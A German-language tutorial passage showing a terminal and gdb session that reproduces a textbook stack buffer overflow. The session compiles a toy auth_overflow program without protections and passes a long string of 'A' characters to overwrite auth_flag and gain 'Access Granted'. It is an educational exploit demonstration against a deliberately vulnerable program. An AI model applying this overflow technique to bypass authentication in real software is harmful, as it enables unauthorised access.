root@toshiba:/home/tomovic/hack# gcc -g -fno-stack-protector -z execstack -o auth_overflow auth_overflow.c
root@toshiba:/home/tomovic/hack# ./auth_overflow
Usage: ./auth_overflow <password>
root@toshiba:/home/tomovic/hack# ./auth_overflow test

Access Denied.
root@toshiba:/home/tomovic/hack# ./auth_overflow brillig

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
root@toshiba:/home/tomovic/hack# ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Speicherzugriffsfehler (Speicherabzug geschrieben)

Bis hierher ist alles ok, aufgrund der Entwicklung bekommt Ihr einen Speicherzugriffsfehler. Kein Grund zur Sorge.


root@toshiba:/home/tomovic/hack# gdb -q ./auth_overflow
Reading symbols from /home/tomovic/hack/auth_overflow...done.
(gdb) break 9
Haltepunkt 1 at 0x80484e9: file auth_overflow.c, line 9.
(gdb) break 16
Haltepunkt 2 at 0x8048537: file auth_overflow.c, line 16.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/tomovic/hack/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, check_authentication (password=0xbffff8d2 'A' <repeats 30 times>) at auth_overflow.c:9
9  strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff6bc: "=\203\004\b\344S\374\267\002"
(gdb) x/x &auth_flag
0xbffff6cc: 0x00
(gdb) print 0xbffff6cc - 0xbffff6bc
$1 = 16
(gdb) x/16xw password_buffer
0xbffff6bc: 0x0804833d 0xb7fc53e4 0x00000002 0x0804a000
0xbffff6cc: 0x00000000 0x00000002 0xbffff794 0xbffff6f8
0xbffff6dc: 0x0804857c 0xbffff8d2 0x00000000 0x080485cb
0xbffff6ec: 0xb7fc5000 0x080485c0 0x00000000 0x00000000
(gdb) c
Continuing.

Breakpoint 2, check_authentication (password=0xbffff8d2 'A' <repeats 30 times>) at auth_overflow.c:16
16  return auth_flag;
(gdb) x/s password_buffer
0xbffff6bc: 'A' <repeats 30 times>
(gdb) x/x &auth_flag
0xbffff6cc: 0x41
(gdb) x/16xw password_buffer
0xbffff6bc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6cc: 0x41414141 0x41414141 0x41414141 0xbf004141
0xbffff6dc: 0x0804857c 0xbffff8d2 0x00000000 0x080485cb
0xbffff6ec: 0xb7fc5000 0x080485c0 0x00000000 0x00000000
(gdb) x/4cb &auth_flag
0xbffff6cc: 65 'A' 65 'A' 65 'A' 65 'A'
(gdb) x/4dw &auth_flag
0xbffff6cc: 1094795585 1094795585 1094795585 -1090502335
(gdb) x/dw &auth_flag
0xbffff6cc: 1094795585
(gdb)
0xbffff6d0: 1094795585
(gdb) c
Continuing.

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program received signal SIGSEGV, Segmentation fault.
main (argc=<Fehler beim Lesen der Variable: Cannot access memory at address 0xbf004149>,
    argv=<Fehler beim Lesen der Variable: Cannot access memory at address 0xbf00414d>) at auth_overflow.c:31
31 }
(gdb) quit
A debugging session is active.

 Inferior 1 [process 6396] will be killed.

Quit anyway? (y or n) y
root@toshiba:/home/tomovic/hack#

(gdb) x/s password_buffer
0xbffff6bc: "=\203\004\b\344S\374\267\002"
(gdb) x/x &auth_flag
0xbffff6cc: 0x00

Ihr solltet die zwei Adressen genau im Auge behalten, die sind bei eurem neuen Ubuntu anders. Der Exploit zeigt euch wie der password_buffer in der auth_flag überlaufen soll.Das Programm stürzt ab, wie im Buch. Es sieht anders aus, ist momentan aber egal.

   

Forensik  

   
© ALLROUNDER